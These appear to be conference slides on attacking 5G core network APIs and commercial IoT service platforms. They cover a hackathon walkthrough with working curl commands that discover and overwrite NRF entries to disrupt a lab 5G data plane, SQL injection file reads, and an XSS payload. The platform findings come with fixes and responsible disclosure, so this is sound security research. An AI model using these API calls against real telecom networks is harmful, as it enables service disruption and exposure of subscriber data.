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Agenda

● What is all about telco and APIs?
● APIs inside 5G core network

– How can someone pwn the 5G network?
● APIs outside core network

– Case study on IoT service platforms
– Design choices, implementation issues

● Takeaways
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Attacks so far in Mobile Networks

● Radio access network – IMSI catchers
– Lack of sufficient authentication and security protocols

● Signaling interconnect – SS7, Diameter interfaces
– Implicit trust between operators

● SIM attacks – Authentication, SIM jacker
– SIM browser exploits

● Voice phishing, SMS spam, SMShing
● Backdoor (wiretapping, “zombie apps”)
● API leaks

– Misconfigured web application bugs  

Classic Attacks 
(user-targeted)

Information 
Extraction

Location Tracking
SMS and Call 
Interception

Denial of Service
Fraud
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5G is also for Things

- Infrastructure targeted attacks
- Increased threat 
- Enormous damage
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Don’t Get Fooled by Media!

● 5G is not only about mmWave and higher speed
● While Korean media shows 5G mmWave as “true 5G”, 5G SA 

is often neglected
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Don’t Get Fooled by Media!

● Vodafone Germany started 5G SA 
● German media shows 5G SA as 

“true 5G” (“Echtes 5G”)

https://newsroom.vodafone.de/netz/5g-plus-das-echtzeit-netz-fur-alle-kommt 

https://newsroom.vodafone.de/netz/5g-plus-das-echtzeit-netz-fur-alle-kommt
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Service Based Architecture

5G Core Network

NSSF NEF NRF PCF UDM AF

AUSF AMF SMF

UPFPhone Internet

RAN
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Service Based Architecture

5G Core Network

NSSF NEF NRF PCF UDM AF

AUSF AMF SMF

UPFPhone Internet

RAN

Network Repository Function
Discovery of the other core 
network entities (functions)

Network Exposure Function
Exposes core network entities 

to external parties
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Major Differences from Previous Generations

● Each generation has “special” jargon
– “Enhanced”/”Evolved” for 4G, “Function” for 5G

● All interconnects are now REST API based
– 3GPP YAML for interfaces: https://github.com/jdegre/5GC_APIs
– Even available for Burp Suite!

● Network Exposure Function
– Exposes internal network information to other parties

(e.g., vertical industries, 3rd party app developers)
– Opens a new door also for attackers

https://github.com/jdegre/5GC_APIs
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Telecom APIs are Real Thing
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Attacks Inside Core Network

NSSF NEF NRF PCF UDM AF

AUSF AMF SMF

UPFPhone Internet

RAN
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5G Cyber Security Hackathon

https://hackthenetworks.fi/en

● Shut down the devices 
connected to the 5G core 
network

● Intermediate system 
connected to the 5G core 
network was provided

● How can we pwn them all?

https://hackthenetworks.fi/en
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Starting Points to pwn

● Web hacking 101: Insecure management interfaces
● Discovering management settings through unprotected pages
● Landing point to traverse to the other network entities
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SQL Injection

● Web management interface had SQLi vulnerability
● Able to harvest any arbitrary database/files inside the system
● DoS through injecting malformed operator information
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SQL Injection

● Obtaining a local file through LOAD 
DATA LOCAL INFILE
– A bit tricky due to the truncation applied 

by the web interface
– Checked independently after obtaining 

SSH access
● Now we have NRF address!
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Highway to the Data Plane

● APIs available as 3GPP TS 29.510
● NRF bootstrapping APIs and instance discovery

● Getting instances through /nnrf-disc/v1/nf-instances

$ curl -k -X GET "https://10.33.1.12:9090/bootstrapping" -H "accept: application/3gppHal+json"
{"status":"OPERATIVE","_links":{"authorize":{"href":"https://10.33.1.12:9090/oauth2/token"},"discover":
{"href":"https://10.33.1.12:9090/nnrf-disc/v1/nf-instances"},"manage":{"href":"https://10.33.1.12:9090/v1/nf-
instances"},"self":{"href":"https://10.33.1.12:9090/bootstrapping"},"subscribe":{"href":"https://
10.33.1.12:9090/nnrf-nfm/v1/subscriptions"}}}

$ curl -k -X GET "https://10.33.1.12:9090/nnrf-disc/v1/nf-instances?target-nf-type=UPF&requester-nf-type=AMF"
{"validityPeriod":120,"nfInstances":
[{"nfInstanceId":"REDACTED","nfType":"UPF","nfStatus":"REGISTERED","nfInstanceName":"go-
upf","heartBeatTimer":57,"plmnList":[{"mcc":"244","mnc":"53"}],"sNssais":[{"sst":1}],"ipv4Addresses":
["10.33.1.52"],"upfInfo":{"sNssaiUpfInfoList":[{"sNssai":{"sst":1},"dnnUpfInfoList":
[{"dnn":"internettwo"}]}],"interfaceUpfInfoList":[{"interfaceType":"N3","ipv4EndpointAddresses":
["10.33.1.52"]}]}},...]}}]}
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Interrupting Data Services

NSSF NEF NRF PCF UDM AF

AUSF AMF SMF

UPFPhone Internet

RAN

Injecting false configuration
Deleting UPF entities

Deleting UE context

Deleting data session
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On the NRF

● Disconnect UPF from the core network
● Standard REST API, DELETE request
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On the NRF

● DELETE-then-PUT to inject malicious configuration
– Known not existing or attacker controlled endpoint address
– Checked persistency through another discovery API call

● This API should be protected
$ curl -k -X PUT "https://10.33.1.12:9090/nnrf-nfm/v1/nf-instances/REDACTED" -H "accept: application/json" -H 
"Content-Type: application/json" -d 
"{\"nfInstanceId\":\"REDACTED\",\"nfType\":\"UPF\",\"nfStatus\":\"REGISTERED\",\"nfInstanceName\":\"go-
upf\",\"heartBeatTimer\":34,\"plmnList\":[{\"mcc\":\"xxx\",\"mnc\":\"xx\"}],\"sNssais\":
[{\"sst\":1}],\"ipv4Addresses\":[\"10.33.1.210\"],\"upfInfo\":{\"sNssaiUpfInfoList\":[{\"sNssai\":
{\"sst\":1},\"dnnUpfInfoList\":[{\"dnn\":\"internetthree\"}]}],\"interfaceUpfInfoList\":
[{\"interfaceType\":\"N3\",\"ipv4EndpointAddresses\":[\"10.33.1.210\"]}]}}"
{"nfInstanceId":"REDACTED","nfType":"UPF","nfStatus":"REGISTERED","nfInstanceName":"go-
upf","heartBeatTimer":33,"plmnList":[{"mcc":"xxx","mnc":"xx"}],"sNssais":[{"sst":1}],"ipv4Addresses":
["10.33.1.210"],"upfInfo":{"sNssaiUpfInfoList":[{"sNssai":{"sst":1},"dnnUpfInfoList":
[{"dnn":"internetthree"}]}],"interfaceUpfInfoList":[{"interfaceType":"N3","ipv4EndpointAddresses":
["10.33.1.210"]}]}}
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On the AMF

● No standard API to enumerate the UE context exist
– Guessed based on IMSI (based on other 5GC implementations)

● Delete the UE’s context from the AMF gave only errors
$ curl -k -X POST "https://127.0.1.1:443/namf-comm/v1/ue-contexts/1/release" -H  "Content-Type: application/json" 
-d "{\"supi\":\"string\",\"unauthenticatedSupi\":false,\"ngapCause\":{\"group\":0,\"value\":0}}"
curl: (92) HTTP/2 stream 0 was not closed cleanly: PROTOCOL_ERROR (err 1)
$ curl -k -X POST "https://127.0.1.1:443/namf-comm/v1/ue-contexts/imsi-REDACTED/release" -H  "accept: 
application/json" -H  "Content-Type: application/json" -d "{\"targetMmeCap\":
{\"nonIpSupported\":false,\"ethernetSupported\":false},\"servingNetwork\":
{\"mcc\":\"xxx\",\"mnc\":\"xx\"},\"notToTransferEbiList\":[0]}"
curl: (92) HTTP/2 stream 0 was not closed cleanly: PROTOCOL_ERROR (err 1)
$ curl -k -X POST "https://127.0.1.1:443/namf-comm/v1/ue-contexts/imsi-REDACTED/release" -H  "Content-Type: 
application/json" -d "{\"supi\":\"imsi-REDACTED\",\"unauthenticatedSupi\":true,\"ngapCause\":
{\"group\":0,\"value\":0}}"
curl: (92) HTTP/2 stream 0 was not closed cleanly: PROTOCOL_ERROR (err 1)
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On the SMF

● Like AMF, no standard API exist to enumerate UE context
– Guessed using IMSI like what we’ve tried on AMF

● No useful output was produced
– If we knew the context name, the results might have been different

● SMF was written in Go, which was considered hard to reverse

$ curl -k -X POST "https://127.0.1.1:443/nsmf-pdusession/v1/sm-contexts/imsi-REDACTED/retrieve" -H  "accept: 
application/json" -H  "Content-Type: application/json" -d "{\"targetMmeCap\":
{\"nonIpSupported\":false,\"ethernetSupported\":false},\"servingNetwork\":
{\"mcc\":\"xxx\",\"mnc\":\"xx\"},\"notToTransferEbiList\":[0]}"
(no output)
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Why not UPF Directly?

● We tried to examine as many 5G API as possible
● Our approach direction was shutting down user plane services 

through core network API calls (“API war”)
● Other team directly jumped to UPF before us

– Good de-motivation on that direction :(
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Key Takeaways

● Protect your 5GC entry points
– Especially for NRF which can be used to 

discover all other entities
● Simple looking API call and component 

can disintegrate the entire 5G stack
● Traditional web application and API 

vulnerabilities will meet the telco specific 
issues in 5G core network

xkcd: Dependency. https://xkcd.com/2347/ 

https://xkcd.com/2347/
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Attacks From Network Exposure Functions

NSSF NEF NRF PCF UDM AF

AUSF AMF SMF

UPFPhone Internet

RAN



  

New Front Door: Network Exposure

API Server (Provider)

IoT Service Platform

Backend 

IoT Connectivity
Management

Platform
</>

API Portal
Service APIs Internet

Cloud

Vertical 
Industries

Third-party

Application 
developers

APIs

Network
Exposure

4G/5G
Core 

Network

+

IoT 
SIM

SS7/
Diameter Network 

Partners
Data 

Network
Internet
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Obtaining IoT SIM Cards and APIs

● Specialized tariff for IP data 
and/or SMS
– Cheap but smaller data than 

smartphone tariff, longer lifetime
● Usually business customers only
● Dedicated IoT networks (NB-IoT, 

LTE-M) and 2G/3G fallback

+ Service APIs

IoT SIM cards + IoT Modems
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Control and Configure the SIMs
● IoT connectivity management platform

– Available after signing contract
● User/SIM management through web app

– Create API user/developer
– Activate and deactivate SIM

● Purchase data volume, SMS etc.

IoT connectivity 
management 
platform 
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Service APIs: Getting Access
● IoT service platform

– Provides service APIs portal (Swagger/OpenAPI interface)
– Service Level Agreement (SLA) to define access and API 

management
● Authenticate and authorize API users 
● Core configuration control

– Device IP address management, roaming policy control
– Data-rate, bandwidth, set sleep modes, location

● Admin control
– Billing and data plan management
– SIM & credential management
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API Security for Network Exposure
● 3GPP Standard (recommended) fundamental security mechanisms 

for exposure services
– Authentication & Authorization (OAuth 2.0)
– Confidentiality and integrity protection (TLS)
– Privacy
– Rate limiting*
– Logging and Monitoring*
– Firewalls/IDS*
– Guidelines from GSMA1,2 

* Additional security best-practices

1. GSM Association. IoT Security Guidelines for Network Operators Version 2.2
https://www.gsma.com/iot/wp-content/uploads/2020/05/CLP.14-v2.2-GSMA-IoT-Security-Guidelines-for-Network-Operators.pdf
2. GSM Association. IoT Security Guidelines for IoT Service Ecosystems
https://www.gsma.com/iot/wp-content/uploads/2016/02/CLP.12-v1.0.pdf

https://www.gsma.com/iot/wp-content/uploads/2020/05/CLP.14-v2.2-GSMA-IoT-Security-Guidelines-for-Network-Operators.pdf
https://www.gsma.com/iot/wp-content/uploads/2016/02/CLP.12-v1.0.pdf
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How It Works: Get Device Location

Send credentials for Authentication

Receive access token to use in 
authorization

HTTPS (TLS) security establishment

API Request : Device (IMSI/ICCID) 
connectivity and location status

API Response: Device 
connectivity and location status

API: /auth  (username, password)←

"access_token": "AYjcyMzY3ZDhiNmJkNTY",
"expires_in": 14400,

GET https://1.2.3.4/api/sim/89**28**66**03**35*/status
Authorization: Token AYjcyMzY3ZDhiNmJkNTY

HTTP/2.0 200 OK
"location": {
    "country": {
        "latitude": "*", "longitude": "*",
        "mcc": "2**", "mnc": "*"
    },
    "iccid": "89**28**66**03**35*",
    "imsi": "2****63281***77",
    "msisdn": "*81*0*1*9*1*7",
    "organisation_id": "4977",
    "operator_name": "********",
    "sgsn_addr": "4*1.VS*PZ**.epc.mnc*.mcc*.3gpp.org"
},
"status": "ONLINE"

API user API server
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API Functionalities in Action
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Network Exposure Attack Model

● Requirements
– Business relationship with the operator or service provider (can forge a tax ID)

● External, insider, malicious developer
● Authentication credentials to get authenticated and authorized  
● Access to all service APIs, platform and connectivity management platform

● Goals: Obtain data of arbitrary IoT service platform users (industries), compromise 
server and penetrate into mobile core network via the exposure function

● Privileges: Web/API knowledge Internet, using HTTP(S), remotely-located

Industries
 &

Attacker

HTTP(S)
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Ethical Considerations

● Attacks were performed only against our own accounts
– No attacks against the platform itself and API services for others
– Noisy attacks such as DoS or bruteforce are not considered

● Clear guessing strategy is applied rather than a random 
penetration/function testing

● Ensured that services are not disrupted by our activity
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Commercial IoT Service Platform Security Configurations

- SP: Service platform
- Authentication: Username + Password
- Current network exposure using 4G core (SCEF)

HSTS:  HTTP Strict-Transport-Security
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Design Risks in IoT Service Platforms
(Access Control, Authentication, Data exposure)
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API Credential Policies
● Differences between GSMA guidelines1,2 and real world password policy: 

– Weak passwords are allowed (such as root, admin, iotadministrator) as 
credentials

● only a "few dictionary passwords” are prohibited by some and have shortcomings
– Some restrict dictionary passwords during account creation, but allow them during 

password update

 * asdf1234, qwer1234, qwerty1234 → weak password, not allowed
 * 1qaz2wsx → top 100 weak password
 * iotadmin1 → Set password error: “This is similar to a commonly used password”
 * iotuser1 → Set password error: “Add another word or two. Uncommon words are better.”

 * iotuser10, Password1234, Administrator1 → allowed

1. GSM Association. IoT Security Guidelines for Network Operators Version 2.2, Section 5.8.4- Secure IoT Connectivity Management Platform
https://www.gsma.com/iot/wp-content/uploads/2020/05/CLP.14-v2.2-GSMA-IoT-Security-Guidelines-for-Network-Operators.pdf
2. Referring to section 6.11 of GSMA CLP.12 - Never allow a user to utilize a default, weak, or poorly designed password.
https://www.gsma.com/iot/wp-content/uploads/2016/02/CLP.12-v1.0.pdf

Fix: comply to best password practices1,2

https://www.gsma.com/iot/wp-content/uploads/2020/05/CLP.14-v2.2-GSMA-IoT-Security-Guidelines-for-Network-Operators.pdf
https://www.gsma.com/iot/wp-content/uploads/2016/02/CLP.12-v1.0.pdf
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Token Management

● Some platforms don’t use OAuth based authentication
● Token expiration policy

– Static API token (no expiration), manual revoke needed
– Token validity periods from 24 hours to 1 week

● Fix: Use standard approach of OAuth and JSON web tokens 
– Recommended for authorization
– Custom validity periods for each type of IoT use-case

1. 3GPP TS 33.187 “Security aspects of Machine-Type Communications (MTC) and other mobile data applications communications 
enhancements”. Section 4.7: Requirements on T8 reference point 
https://www.etsi.org/deliver/etsi_ts/133100_133199/133187/16.00.00_60/ts_133187v160000p.pdf
2. 3GPP TS 33.122 “Security aspects of Common API Framework (CAPIF) for 3GPP northbound APIs”

https://www.etsi.org/deliver/etsi_ts/133100_133199/133187/16.00.00_60/ts_133187v160000p.pdf
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Private Identities in App Domain
● ICCID, IMEI, and IMSI exposed outside of 3GPP domain (inc. SUPI in 5G)

– To access/indicate the SIM cards and IoT devices;
Convenient for developers and API users

– Violates 3GPP privacy requirement1 for Machine Type Communications (MTC) 
using exposure services

– Enables user/device enumeration
– Fix: an identifier like General Purpose Subscriber

Identifier (GPSI2) or custom identifier
● An alphanumeric proprietary ID, its mapping to

IMSI/ICCID is known only to the provider/operator

1. 3GPP TS 33.187 “Security aspects of Machine-Type Communications (MTC) and other mobile data applications communications 
enhancements”. Section 4.7: Requirements on T8 reference point 
https://www.etsi.org/deliver/etsi_ts/133100_133199/133187/16.00.00_60/ts_133187v160000p.pdf
2. 3GPP TS 23.502 “5G; Procedures for the 5G System (5GS)”

IMSI ICCID
853428291819393 482012832923284480
853428291819394 482012832923284482
853428291819395 482012832923284484
853428291819396 482012832923284486

https://www.etsi.org/deliver/etsi_ts/133100_133199/133187/16.00.00_60/ts_133187v160000p.pdf
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The Devil is in the Details

● Easy user enumeration via probing with IMSI/ICCID/IMEI
– Attacker can find existing and non-existing IMSIs registered on the 

platform/database from the different API error responses
– Fix: Provide very generic error messages, such as “unauthorized”.

IMSI doesn’t exist IMSI exist
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Firewall vs Secure API-by-Design
● Error messages as a side channel, both firewalls and API

– Identifying platform deployment details such as cloud provider and firewall
– Inconsistent injection detection on certain user-controlled parameters (trusted user)

● Injection in IMSI, ICCID detected, whereas other like alias and organization name stealthy
● Inconsistent security setting: Injection over APIs failed – don’t worry, you still have ways
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Internal Node Exposure

● Device-side open issues
– IP scan from IoT devices exposes other user’s internal SSH 

ports/interface
– Lateral movement allowed by the IoT gateway node firewall
– SSH Login attempt are made to an internal IoT gateway node
– Forged attacker can launch a bruteforce
– Fix: configuration control and 

reduce exposure
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Vulnerabilities in IoT Service Platforms
(Authorization, Data leak, Injection and Code Execution)
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Broken Authentication for Downlink Message

● IP address not validated for “send-downlink-
data” 
– Attacker can talk to any IoT devices in the network

● e.g., in /ping API

– Devices will reply to the ping, delivered to the attacker
– Attacker can scan open ports, send malicious packets
– Result: Energy drain for low-powered IoT devices, 

excessive charging, and eventually a DoS
– Fix: Strict authorization checks for every API 

parameter/object level.
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Too Verbose Webhook

1. What is BGP hijacking? https://www.cloudflare.com/ko-kr/learning/security/glossary/bgp-hijacking

● SIM PIN, PUK and subscriber details exposed
– While sending SMS using API, the HTTP response sent to a user-

defined Webhook (URL) exposes user’s PII
● Providers argue that some business cases require such sensitive 

information in the response
– BGP hijacking1 to steal all the data exposed over a HTTP Webhook

● Fix: use only HTTPS webhook, and eliminate sending SIM card 
private info to customer over the APIs

https://www.cloudflare.com/ko-kr/learning/security/glossary/bgp-hijacking
https://en.wikipedia.org/wiki/Webhook
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Too Verbose Webhook
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Access Control Misconfiguration

● Sensitive data and functions misconfigured
– Discrepancies between API docs and software implementation
– Admin-only API/functions like send-binary-data, update billing 

information are made available to API user
– Malicious insider or employee can exploit
– Restricted profile failed in practice

● (even though view permissions                                                                        
   unchecked by administrator)
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Script Injection
● Code Injection successful on 6 platforms

– Many APIs accept malicious strings, characters
– Accepts and stores SQL and scripts

● <script>alert(123)</script>

– Filtering needs to be consistent
● Causes a persistent XSS and execution attacks
● Values could be used by other apps using API
● Used in the customer management web application

– Fix: strict input sanitization for each and every 
parameter
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XSS Execution

● Code Injection
– Via the service platform API
– Example: API user can give an alternative 

name to the SIM card using Alias
– API allows script and arbitrary code injection

● Code Execution
– Via the IoT connectivity management platform
– Alias parameter is shared between both 

platforms, injected script is triggered and 
executed on the web interface

– With authorization bypass, attacker can inject 
code into another customer’s platform and 
trigger it
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Summary of Security Analysis

● Only half of platforms use OAuth
● Only 2 out of 9 IoT platforms are safe from major vulnerabilities 

and related API risks
● IMSI is exposed outside of 3GPP network
● Inconsistencies in password policies
● Script/code injection vulnerabilities
● Authorization vulnerabilities have serious consequences
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Responsible Disclosure
● Responsibly disclosed our findings to the affected IoT service providers and 

operators 
● Received positive acknowledgments and confirmation of the vulnerabilities, 

and appreciation for our efforts to make the exposure services more secure. 
● Operators confirmed that our testing methods never caused any damage to 

their services and infrastructure. 
● Three of the tested service providers indicated that, injection vulnerabilities 

discovered in our findings remained hidden during their internal penetration 
testing exercise. 

● We do not disclose any of the API and provider/operator names
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One Stop Shop Security for IoT
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Key Takeaways
● 5G > 4G > 3G > 2G. Walled gardens shift towards a generalized, commoditized technology 

– clouds, APIs, SDN, VMs, containers
– Attracts more bad and powerful adversaries, plenty of tools/resources to attack

● Standard OAuth and TLS mechanisms won’t help achieve full API security
● Insecure API Design/Configuration/Implementation = Risk for mobile core, IoT devices and 

industries
● Firewalls won’t always help – need security-by-design and testing into CI/CD

– Inconsistent security settings in among APIs and web apps
● Telecom exposure API risks are new: application logic flaws – require rigorous application 

specific tests (not using general API security scanners)
● Telecom API top 10 to help developers understand risks: network igress and egress
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Questions?

● Shinjo Park <shp@gsmk.de> or <shinjo.park.0@gmail.com>
● Altaf Shaik <altaf.shaik@fastiot.org>

● Thanks to all members of team “Deeper Cuts”
– Alexandre de Oliviera, Dominik Maier, Marius Muench, Sébastien 

Dudek

mailto:shp@gsmk.de
mailto:shinjo.park.0@gmail.com
mailto:altaf.shaik@fastiot.org

